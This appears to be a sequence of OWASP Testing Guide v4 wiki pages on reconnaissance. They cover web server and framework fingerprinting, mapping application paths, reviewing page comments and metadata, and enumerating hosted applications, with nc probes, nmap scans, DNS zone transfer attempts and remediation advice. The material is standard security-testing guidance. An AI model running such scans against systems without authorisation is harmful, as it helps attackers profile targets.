Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server.Consider the following HTTP responses.

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1
</pre>

Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>

Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close
</pre>

Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0
Content-type: text/html
Connection: close
</pre>

It is evident that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be made when requests with a non-existent protocol are created. Consider the following responses:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>

Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
</pre>

Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
</BODY></HTML>
</pre>

Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>
</pre>

== Tools ==
* httprint - http://net-square.com/httprint.html
* httprecon - http://www.computec.ch/projekte/httprecon/
* Netcraft - http://www.netcraft.com
* Desenmascarame - http://desenmascara.me
* Shodan - http://www.shodanhq.com
* Nmap - http://nmap.org

=== Automated Testing ===
Rather than rely on manual bannering and analysis of the web server headers, a tester can use automated tools to achieve the same purpose. There are many tests to carry out in order to accurately fingerprint a web server. Luckily, there are tools that automate these tests. "''httprint''" is one of such tools. httprint has a signature dictionary that allows one to recognize the type and the version of the web server in use. 
An example of running httprint is shown below: 

[[Image:httprint.jpg |800px|]]

[http://www.nmap.org Nmap] version detection offers a lot of advanced features that can help in determining services that are running on a given host. It obtains all data by connecting to open ports and interrogating them by using probes that the specific services understand. The following example shows how Nmap connected to port 80 in order to fingerprint the service and its current version

<pre>
localhost$ nmap -sV example.com
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-21 13:20 GST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.028s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</pre>

=== Online Testing ===
Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of online tools that often deliver a lot of information on target Web Server are [http://www.netcraft.com Netcraft] and [http://www.shodanhq.com SHODAN].

With [http://www.netcraft.com Netcraft] the tester can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S. An example is shown below:
 

[[Image:netcraft2.png |800px|]]

[http://www.shodanhp.com SHODAN] combines an HTTP port scanner with a search engine index of the HTTP responses, making it trivial to find specific web servers. Shodan collects data mostly on web servers at the moment (HTTP port 80), but there is also some data from FTP (21), SSH (22) Telnet (23), SNMP (161) and SIP (5060) services. An example is shown below:
 

[[File:Shodan.png |800px|]]

[[OWASP Unmaskme Project]] is an online tool to perform fingerprinting on a website and provides an overall interpretation of all the [[Web-metadata]] extracted. The idea behind this project is that anyone in charge of a website could test the metadata their site is showing to the world and assess it from a security point of view. While this project is being developed, one can test a website at the [http://desenmascara.me/ Spanish Proof of Concept of this idea].

== Vulnerability References ==
'''Whitepapers''' 
* Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httprint_paper.html
* Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html
* Nmap "Service and Application Version Detection" - http://nmap.org/book/vscan.html

== Remediation ==

Protect the presentation layer web server behind a hardened reverse proxy.

Obfuscate the presentation layer web server headers.
* Apache
* IIS

Fingerprint Web Application Framework (OTG-INFO-008)

2014-08-01T18:31:30Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}
== Summary ==
Web framework[*] fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched versions but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important.

Several different vendors and versions of web frameworks are widely used. Information about it significantly helps in the testing process, and can also help in changing the course of the test. Such information can be derived by careful analysis of certain common locations. Most of the web frameworks have several markers in those locations which help an attacker to spot them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy several markers are usually used.

[*] Please note that this article makes no differentiation between Web Application Frameworks (WAF) and Content Management Systems (CMS). This has been done to make it convenient to fingerprint both of them in one chapter. Furthermore, both categories are referenced as web frameworks.

== Test Objectives ==
To define type of used web framework so as to have a better understanding of the security testing methodology.

== How to Test ==

=== Black Box testing ===
There are several most common locations to look in in order to define the current framework:
*HTTP headers
*Cookies
*HTML source code
*Specific files and folders

==== HTTP headers ====
The most basic form of identifying a web framework is to look at the ''X-Powered-By'' field in the HTTP response header. Many tools can be used to fingerprint a target. The simplest one is netcat utility.

Consider the following HTTP Request-Response:
<pre>
$ nc 127.0.0.1 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Mono
</pre>

From the ''X-Powered-By'' field, we understand that the web application framework is likely to be Mono. However, although this approach is simple and quick, this methodology doesn't work in 100% of cases. It is possible to easily disable ''X-Powered-By'' header by a proper configuration. There are also several techniques that allow a web site to obfuscate HTTP headers (see an example in [[#Remediation]] chapter).

So in the same example the tester could either miss the ''X-Powered-By'' header or obtain an answer like the following:
<pre>
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Blood, sweat and tears
</pre>

Sometimes there are more HTTP-headers that point at a certain web framework. In the following example, according to the information from HTTP-request, one can see that ''X-Powered-By'' header contains PHP version. However, the ''X-Generator'' header points out the used framework is actually Swiftlet, which helps a penetration tester to expand his attack vectors. When performing fingerprinting, always carefully inspect every HTTP-header for such leaks.
<pre>
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16-1~dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Generator: Swiftlet
</pre>

==== Cookies ====
Another similar and somehow more reliable way to determine the current web framework are framework-specific cookies.

Consider the following HTTP-request:

[[Image:Cakephp_cookie.png]]

The cookie ''CAKEPHP'' has automatically been set, which gives information about the framework being used. List of common cookies names is presented in chapter [[#Cookies_2]]. Limitations are the same - it is possible to change the name of the cookie. For example, for the selected ''CakePHP'' framework this could be done by the following configuration (excerpt from core.php):

<pre>
/**
* The name of CakePHP's session cookie.
*
* Note the guidelines for Session names states: "The session name references
* the session id in cookies and URLs. It should contain only alphanumeric
* characters."
* @link http://php.net/session_name
*/
Configure::write('Session.cookie', 'CAKEPHP');
</pre>

However, these changes are less likely to be made than changes to the ''X-Powered-By'' header, so this approach can be considered as more reliable.

==== HTML source code ====
This technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web framework. One of the common markers are HTML comments that directly lead to framework disclosure. More often certain framework-specific paths can be found, i.e. links to framework-specific css and/or js folders. Finally, specific script variables might also point to a certain framework.

From the screenshot below one can easily learn the used framework and its version by the mentioned markers. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of ZK framework.

[[Image:Zk_html_source.png]]

More frequently such information is placed between <head></head> tags, in <meta> tags or at the end of the page. Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers do not care much about hiding information about the framework used. It is still possible to stumble upon something like this at the bottom of the page:

[[Image:banshee_bottom_page.png]]

== Common frameworks ==
=== Cookies ===

{| class="wikitable"
|-
! Framework !! Cookie name
|-
| Zope || zope3
|-
| CakePHP || cakephp
|-
| Kohana || kohanasession
|-
| Laravel || laravel_session
|-
| 1C-Bitrix || BITRIX_
|-
| AMPcms || AMP
|-
|-
| Django CMS || django
|-
| DotNetNuke || DotNetNukeAnonymous
|-
| e107 || e107_tz
|-
| EPiServer || EPiTrace, EPiServer
|-
| Graffiti CMS || graffitibot
|-
| Hotaru CMS || hotaru_mobile
|-
| ImpressCMS || ICMSession
|-
| Indico || MAKACSESSION
|-
| InstantCMS || InstantCMS[logdate]
|-
| Kentico CMS || CMSPreferredCulture
|-
| MODx || SN4[12symb]
|-
| TYPO3 || fe_typo_user
|-
| Dynamicweb || Dynamicweb
|-
| LEPTON || lep[some_numeric_value]+sessionid
|-
| Wix || Domain=.wix.com
|-
| VIVVO || VivvoSessionId
|}

=== HTML source code ===
==== General markers ====
{| class="wikitable"
|-
| %framework_name%
|-
| powered by
|-
| built upon
|-
| running
|}

==== Specific markers ====
{| class="wikitable"
|-
! Framework !! Keyword
|-
| Adobe ColdFusion || 
|-
| Indexhibit || ndxz-studio
|}

=== Specific files and folders ===
Specific files and folders are different for each specific framework. It is recommended to install the corresponding framework during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is FuzzDB wordlists of predictable files/folders (http://code.google.com/p/fuzzdb/).

== Tools ==
A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.

=== WhatWeb ===
Website: http://www.morningstarsecurity.com/research/whatweb 
Currently one of the best fingerprinting tools on the market. Included in a default [[Kali Linux]] build.
Language: Ruby
Matches for fingerprinting are made with:
* Text strings (case sensitive)
* Regular expressions
* Google Hack Database queries (limited set of keywords)
* MD5 hashes
* URL recognition
* HTML tag patterns
* Custom ruby code for passive and aggressive operations

Sample output is presented on a screenshot below:

[[Image:whatweb-sample.png]]

=== BlindElephant ===
Website: https://community.qualys.com/community/blindelephant 
This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting.
Language: Python

Sample output of a successful fingerprint:
<pre>
pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

...

Fingerprinting resulted in:
7.14

Best Guess: 7.14
</pre>

=== Wappalyzer ===
Website: http://wappalyzer.com 
Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.

Sample output of a plug-in is presented on a screenshot below.

[[Image:Owasp-wappalyzer.png]]

== References ==
'''Whitepapers''' 
* Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httprint_paper.html
* Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

== Remediation ==
The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it's possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.

==== HTTP headers ====
Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler:
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html

==== Cookies ====
It is recommended to change cookie names by making changes in the corresponding configuration files.

==== HTML source code ====
Manually check the contents of the HTML code and remove everything that explicitly points to the framework.

General guidelines:
*Make sure there are no visual markers disclosing the framework
*Remove any unnecessary comments (copyrights, bug information, specific framework comments)
*Remove META and generator tags
*Use the companies own css or js files and do not store those in a framework-specific folders
*Do not use default scripts on the page or obfuscate them if they must be used.

==== Specific files and folders ====
General guidelines:
*Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.
*Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.
<pre>
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]
</pre>

However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (http://wordpress.org/plugins/stealth-login-page).

==== Additional approaches ====
General guidelines:
*Checksum management
*:The purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:
*:*Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)
*:*Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.
*Controlled chaos
*:A funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!

Map execution paths through application (OTG-INFO-007)

2014-08-01T18:27:46Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlkely that it will be tested thoroughly.

== Test Objectives ==

Map the target application and understand the principal workflows.

== How to Test ==

In black box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested.

There are several ways to approach the testing and measurement of code coverage:

* '''Path''' - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.
* '''Data flow (or taint analysis)''' - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.
* '''Race''' - tests multiple concurrent instances of the application manipulating the same data.

The trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.

''' Black Box Testing '''

To demonstrate code coverage to the application owner, the tester can start with a spreadsheet and document all the links discovered by spidering the application (either manually or automatically). Then the tester can look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.

''' Gray/White Box testing '''

Ensuring sufficient code coverage for the application owner is far easier with the gray and white box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met.

=== Example ===

''' Automatic Spidering '''

The automatic spider is a tool used to automatically discover new resources (URLs) on a particular website. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)]:

[[File:OWASPZAPSP.png |1050px|]]

[https://code.google.com/p/zaproxy/ ZAP] offers the following automatic spidering features, which can be selected based on the tester's needs:

*Spider Site - The seed list contains all the existing URIs already found for the selected site.
*Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node.
*Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree).
*Spider all in Scope - The seed list contains all the URIs the user has selected as being 'In Scope'.

== Tools ==

* [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)]

* [http://en.wikipedia.org/wiki/List_of_spreadsheet_software List of spreadsheet software]

* [http://en.wikipedia.org/wiki/Diagramming_software Diagramming software]

== References ==

'''Whitepapers'''

[1] http://en.wikipedia.org/wiki/Code_coverage

Review webpage comments and metadata for information leakage (OTG-INFO-005)

2014-08-01T18:25:52Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.

== Test Objectives ==

Review webpage comments and metadata to better understand the application and to find any information leakage.

== How to Test ==

HTML comments are often used by the developers to include debugging information about the application. Sometimes they forget about the comments and they leave them on in production. Testers should look for HTML comments which start with "".

=== Black Box Testing ===

Check HTML source code for comments containing sensitive information that can help the attacker gain more insight about the application. It might be SQL code, usernames and passwords, internal IP addresses, or debugging information.

<pre>
...

<div class="table2">
<div class="col1">1</div><div class="col2">Mary</div>
<div class="col1">2</div><div class="col2">Peter</div>
<div class="col1">3</div><div class="col2">Joe</div>



</div>
...
</pre>

The tester may even find something like this:
<pre>

</pre>

Check HTML version information for valid version numbers and Data Type Definition (DTD) URLs

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

* "strict.dtd" -- default strict DTD
* "loose.dtd" -- loose DTD
* "frameset.dtd" -- DTD for frameset documents

Some Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to

<META name="Author" content="Andrew Muller">

Some Meta tags alter HTTP response headers, such as http-equiv that sets an HTTP response header based on the the content attribute of a meta element, such as:

<META http-equiv="Expires" content="Fri, 21 Dec 2012 12:34:56 GMT">

which will result in the HTTP header:

Expires: Fri, 21 Dec 2012 12:34:56 GMT

and

<META http-equiv="Cache-Control" content="no-cache">

will result in

Cache-Control: no-cache

Test to see if this can be used to conduct injection attacks (e.g. CRLF attack). It can also help determine the level of data leakage via the browser cache.

A common (but not WCAG compliant) Meta tag is the refresh.

<META http-equiv="Refresh" content="15;URL=https://www.owasp.org/index.html">

A common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results.

<META name="keywords" lang="en-us" content="OWASP, security, sunshine, lollipops">

Although most web servers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.

<META name="robots" content="none">

The Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content.

=== Gray Box Testing ===
Not applicable.

==Tools==

* Wget
* Browser "view source" function
* Eyeballs
* Curl

== References ==
'''Whitepapers'''

[1] http://www.w3.org/TR/1999/REC-html401-19991224 HTML version 4.01

[2] http://www.w3.org/TR/2010/REC-xhtml-basic-20101123/ XHTML (for small devices)

[3] http://www.w3.org/TR/html5/ HTML version 5

Enumerate Applications on Webserver (OTG-INFO-004)

2014-08-01T18:24:21Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
A paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used "internally" and therefore no threat exists. 

With the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites or applications whose symbolic names resolve to the same IP address. This scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well.

Security professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports "No web server configured at this address" or a similar message. But that system could "hide" a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected by the tester tests all applications or only tests the applications that they are aware of.

Sometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even being aware of that (this is more likely to happen in large organizations).

Other issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., http://www.example.com/some-strange-URL), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).

To address these issues, it is necessary to perform web application discovery.

== Test Objectives ==

Enumerate the applications within scope that exist on a web server

== How to Test ==

=== Black Box Testing===
Web application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two.
This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., “test only the application located at the URL http://www.example.com/”), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal.

'''Note:''' Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as ''192.168.1.100''), which, unless indicated otherwise, represent ''generic'' IP addresses and are used only for anonymity purposes.

There are three factors influencing how many applications are related to a given DNS name (or an IP address):

'''1. Different base URL''' 
The obvious entry point for a web application is ''www.example.com'', i.e., with this shorthand notation we think of the web application originating at http://www.example.com/ (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at “/”.

For example, the same symbolic name may be associated to three web applications such as:
http://www.example.com/url1
http://www.example.com/url2
http://www.example.com/url3

In this case, the URL http://www.example.com/ would not be associated with a meaningful page, and the three applications would be “hidden”, unless the tester explicitly knows how to reach them, i.e., the tester knows ''url1'', ''url2'' or ''url3''. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.

'''2. Non-standard ports''' 
While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: http[s]://www.example.com:port/. For example, http://www.example.com:20000/.

'''3. Virtual hosts''' 
DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address ''192.168.1.100'' might be associated to DNS names ''www.example.com, helpdesk.example.com, webmail.example.com''. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 ''Host:'' header [1].

One would not suspect the existence of other web applications in addition to the obvious ''www.example.com'', unless they know of ''helpdesk.example.com'' and ''webmail.example.com''.

'''Approaches to address issue 1 - non-standard URLs''' 
There is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.

First, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.

Second, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such “hidden” applications on ''www.example.com'' they could search using the ''site'' operator and examining the result of a query for “site: www.example.com”. Among the returned URLs there could be one pointing to such a non-obvious application.

Another option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as https://www.example.com/webmail, https://webmail.example.com/, or https://mail.example.com/. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.

'''Approaches to address issue 2 - non-standard ports''' 
It is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap [2] is capable of performing service recognition by means of the -sV option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.

For example, the following command will look up, with a TCP connect scan, all open ports on IP ''192.168.1.100'' and will try to determine what services are bound to them (only ''essential'' switches are shown – nmap features a broad set of options, whose discussion is out of scope):
<pre>
nmap –PN –sT –sV –p0-65535 192.168.1.100
</pre>

It is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command could look like:
<pre>
Interesting ports on 192.168.1.100:
(The 65527 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp open ssl OpenSSL
901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner
3690/tcp open unknown
8000/tcp open http-alt?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
</pre>

From this example, one see that:
* There is an Apache http server running on port 80.
* It looks like there is an https server on port 443 (but this needs to be confirmed, for example, by visiting https://192.168.1.100 with a browser).
* On port 901 there is a Samba SWAT web interface.
* The service on port 1241 is not https, but is the SSL-wrapped Nessus daemon.
* Port 3690 features an unspecified service (nmap gives back its ''fingerprint'' - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).
* Another unspecified service on port 8000; this might possibly be http, since it is not uncommon to find http servers on this port. Let's examine this issue:
<pre>
$ telnet 192.168.10.100 8000
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
pragma: no-cache
Content-Type: text/html
Server: MX4J-HTTPD/1.0
expires: now
Cache-Control: no-cache

<html>
...
</pre>

This confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).
* Apache Tomcat running on port 8080.

The same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify http[s] services running on non-standard ports. For example, Nessus [3] is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to nmap, a number of tests on known web server vulnerabilities, as well as on the SSL configuration of https services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).

'''Approaches to address issue 3 - virtual hosts''' 
There are a number of techniques which may be used to identify DNS names associated to a given IP address ''x.y.z.t''.

''DNS zone transfers'' 
This technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try. First of all, testers must determine the name servers serving ''x.y.z.t''. If a symbolic name is known for ''x.y.z.t'' (let it be ''www.example.com''), its name servers can be determined by means of tools such as ''nslookup'', ''host'', or ''dig'', by requesting DNS NS records.

If no symbolic names are known for ''x.y.z.t'', but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that ''x.y.z.t'' will be served as well by that name server). For example, if the target consists of the IP address ''x.y.z.t'' and the name ''mail.example.com'', determine the name servers for domain ''example.com''.

The following example shows how to identify the name servers for www.owasp.org by using the host command:
<pre>
$ host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server ns1.secure.net.
owasp.org name server ns2.secure.net.
</pre>

A zone transfer may now be requested to the name servers for domain ''example.com''. If the tester is lucky, they will get back a list of the DNS entries for this domain. This will include the obvious ''www.example.com'' and the not-so-obvious ''helpdesk.example.com'' and ''webmail.example.com'' (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated. 

Trying to request a zone transfer for owasp.org from one of its name servers:
<pre>
$ host -l www.owasp.org ns1.secure.net
Using domain server:
Name: ns1.secure.net
Address: 192.220.124.10#53
Aliases:

Host www.owasp.org not found: 5(REFUSED)
; Transfer failed.
</pre>

''DNS inverse queries'' 
This process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are lucky, they may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.

''Web-based DNS searches'' 
This kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the ''Netcraft Search DNS'' service, available at http://searchdns.netcraft.com/?host. The tester may query for a list of names belonging to your domain of choice, such as ''example.com''. Then they will check whether the names they obtained are pertinent to the target they are examining.

''Reverse-IP services'' 
